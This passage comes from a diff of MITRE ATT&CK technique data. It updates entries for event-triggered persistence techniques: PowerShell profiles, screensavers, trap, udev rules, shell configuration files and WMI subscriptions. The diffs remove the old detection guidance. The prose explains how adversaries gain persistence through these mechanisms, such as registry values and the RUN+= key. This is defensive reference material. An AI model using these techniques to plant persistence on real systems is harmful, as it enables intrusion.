be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/013", + "external_id": "T1546.013" + }, + { + "source_name": "Wits End and Shady PowerShell Profiles", + "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.", + "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "source_name": "Malware Archaeology PowerShell Cheat Sheet", + "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", + "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + }, + { + "source_name": "Microsoft About Profiles", + "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6" + }, + { + "source_name": "Microsoft Profiles", + "description": "Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.", + "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Allen DeRyke, ICE", + "Matt Green, @mgreen27" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.124000+00:00\", \"old_value\": \"2025-04-15 19:58:06.292000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n\\n* $PsHome\\\\Profile.ps1\\n* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n\\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\\n-\\n-* $PsHome\\\\Profile.ps1\\n-* $PsHome\\\\Microsoft.{HostProgram}_profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Profile.ps1\\n-* $Home\\\\\\\\\\\\[My ]Documents\\\\PowerShell\\\\Microsoft.{HostProgram}_profile.ps1\\n-\\n-Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1045: Code Signing", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0451: Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 13:51:01.210000+00:00", + "modified": "2025-10-24 17:49:24.634000+00:00", + "name": "Screensaver", + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/002", + "external_id": "T1546.002" + }, + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Wikipedia Screensaver", + "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Screensaver" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.634000+00:00\", \"old_value\": \"2025-04-16 20:37:21.356000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n\\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0154: Detect Screensaver-Based Persistence via Registry and Execution Chains" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:17:43.906000+00:00", + "modified": "2025-10-24 17:48:51.725000+00:00", + "name": "Trap", + "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/005", + "external_id": "T1546.005" + }, + { + "source_name": "Trap Manual", + "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.", + "url": "https://ss64.com/bash/trap.html" + }, + { + "source_name": "Cyberciti Trap Statements", + "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.", + "url": "https://bash.cyberciti.biz/guide/Trap_statement" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.725000+00:00\", \"old_value\": \"2025-04-25 14:46:52.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0369: Detection Strategy for Event Triggered Execution via Trap (T1546.005)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4c3f644-ab33-433d-8648-75cc03a95792", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-26 17:02:09.888000+00:00", + "modified": "2025-10-24 17:49:37.034000+00:00", + "name": "Udev Rules", + "description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/017", + "external_id": "T1546.017" + }, + { + "source_name": "Ignacio Udev research 2024", + "description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.", + "url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/" + }, + { + "source_name": "Elastic Linux Persistence 2024", + "description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering - A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.", + "url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms" + }, + { + "source_name": "Reichert aon sedexp 2024", + "description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.", + "url": "https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Eduardo Gonz\u00e1lez Hern\u00e1ndez (@codexlynx)", + "Eder P\u00e9rez Ignacio, @ch4ik0", + "Wirapong Petshagun", + "@grahamhelton3", + "Ruben Groenewoud (@RFGroenewoud)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.034000+00:00\", \"old_value\": \"2025-04-15 23:17:25.978000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024) \"}, \"root['x_mitre_contributors'][4]\": {\"new_value\": \"Ruben Groenewoud (@RFGroenewoud)\", \"old_value\": \"Ruben Groenewoud, Elastic\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0375: Detection Strategy for T1546.017 - Udev Rules (Linux)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:13:45.936000+00:00", + "modified": "2025-10-24 17:49:15.960000+00:00", + "name": "Unix Shell Configuration Modification", + "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/004", + "external_id": "T1546.004" + }, + { + "source_name": "anomali-linux-rabbit", + "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + }, + { + "source_name": "anomali-rocke-tactics", + "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.", + "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect" + }, + { + "source_name": "Linux manual bash invocation", + "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.", + "url": "https://wiki.archlinux.org/index.php/Bash#Invocation" + }, + { + "source_name": "ScriptingOSX zsh", + "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.", + "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/" + }, + { + "source_name": "bencane blog bashrc", + "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.", + "url": "https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/" + }, + { + "source_name": "macOS MS office sandbox escape", + "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.", + "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a" + }, + { + "source_name": "Magento", + "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.", + "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html" + }, + { + "source_name": "Tsunami", + "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.", + "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + }, + { + "source_name": "PersistentJXA_leopitt", + "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5" + }, + { + "source_name": "code_persistence_zsh", + "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.", + "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js" + }, + { + "source_name": "ESF_filemonitor", + "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", + "url": "https://objective-see.com/blog/blog_0x48.html" + }, + { + "source_name": "intezer-kaiji-malware", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Robert Wilson", + "Tony Lambert, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.960000+00:00\", \"old_value\": \"2025-04-15 19:59:00.346000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n\\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n\\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n-\\n-Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n-\\n-For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0020: Detect Shell Configuration Modification for Persistence via Event-Triggered Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:07:56.276000+00:00", + "modified": "2025-10-24 17:49:06.119000+00:00", + "name": "Windows Management Instrumentation Event Subscription", + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe` \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/003", + "external_id": "T1546.003" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Dell WMI Persistence", + "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", + "url": "https://www.secureworks.com/blog/wmi-persistence" + }, + { + "source_name": "FireEye WMI SANS 2015", + "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf" + }, + { + "source_name": "Medium Detecting WMI Persistence", + "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + }, + { + "source_name": "Elastic - Hunting for Persistence Part 1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1" + }, + { + "source_name": "Mandiant M-Trends 2015", + "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf" + }, + { + "source_name": "Microsoft Register-WmiEvent", + "description": "Microsoft. (n.d.). Retrieved January 24, 2020.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Microsoft MOF May 2018", + "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic", + "Viren Chaudhari, Qualys" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"WMI: WMI Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.119000+00:00\", \"old_value\": \"2025-04-15 19:58:50.950000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n\\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor WMI event subscription 